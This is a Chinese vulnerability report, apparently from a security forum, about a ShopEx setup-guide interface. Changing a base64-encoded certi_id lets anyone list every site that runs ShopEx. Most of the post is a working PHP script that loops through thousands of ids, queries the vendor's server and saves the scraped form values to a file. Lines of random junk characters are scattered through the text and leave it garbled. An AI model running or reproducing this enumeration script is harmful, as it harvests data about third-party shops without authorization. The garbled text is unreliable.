ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
2 o( q9 Q1 y% D% M3 A4 c# fShopEx某接口缺陷,可遍历所有网站
5 o  P! _! `' s. E6 S6 n详细说明：
问题出现在shopex 网店使用向导页面


/ N" a! b) v9 P' b2 f
' k) D: Z3 H' b9 chttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
# d: n2 @8 `% y6 V( ?: S: F1 H


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
- N! @3 n/ H; g! y+ v% y* F/ B9 C

( h9 |: h' |, N( d' d
! k1 |* z" u- E5 f; ?9 D7 k我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

0 q, y- n- ]8 ^% f% b% w
0 m+ Z1 ?: e0 d
<?php
9 a, `" T* w6 s. L& V. r- ]) g
2 J# }' ^; T% @/ o4 P                for ($i=1; $i < 10000; $i++) { //遍历
* i: a- ~$ G; N! }5 e" o
                        ShowshopExD($i);

/ K4 ~0 T- a% p0 o& o+ l( y4 h                }
3 }; M1 Z* z0 @4 g  `
# Q9 E: ?* M% j# q7 t  |" f, r1 V                function ShowshopExD($cid) {

0 V' T! f3 K! ]8 m# V& c6 L+ U8 j                $url='http://guide.ecos.shopex.cn/step2.php';
( j1 p. u5 o4 n5 P
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
% d/ k$ b9 }. r; E+ D
        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
8 h! m0 s/ H) |8 s4 Y% \; V
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

6 X# E/ f  ~; ?% e3 R% W9 z; W- v        $result = curl_exec($ch);

) n. ?( Q7 k5 ~  f; R, Z        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
( z2 C( Z1 S6 w
        if(strpos($result,$refer))
5 S6 b" Z. j) n& P9 o
1 }* }8 P! A8 ]+ L$ J- t! K/ P        {

& _& ]1 q+ \4 [9 D) r8 f                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
& P/ ?+ N% n& g0 x  ~" g# _
3 e: u! _. V( v* v5 _                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
! p$ B- q# M, M. D: |0 g& R
1 C! z: C7 Y6 L! M$ M' ]; j$ r, W                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
/ a0 O6 o- @4 P" q, a9 q" ]
6 ?7 `% V+ m$ V                        fwrite($fp, $col, strlen($col));
2 _2 I0 L0 B' r- T
) {/ J# }3 O3 L" o                }
# v2 K- N" ]$ K+ J- K; F
) e. T9 e$ `+ D, N' ~                echo '--------------------------------'."\r\n";

                fclose($fp);

        }
$ e1 D5 T* q% P% O& l$ S3 x3 }
  C/ @2 C+ Q1 b) y' \( K# R        flush();
$ t0 g! C& L. |5 p; c! Y7 g. l
( e* o+ j" _/ ~3 Q% N! m  r2 d        curl_close($ch);

* y* @/ S% y$ j3 ]% k: Q                }
& r7 ^4 n3 s& R' c6 p
  U& }0 v$ n; X$ ]8 q& q7 l/ r?>
漏洞证明：
* k, }  C$ N) I# x6 e  a) X- zhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
. n6 k( O# G# y) [1 S% C+ prefer换成其他加密方式
0 t6 n# F1 p& J3 A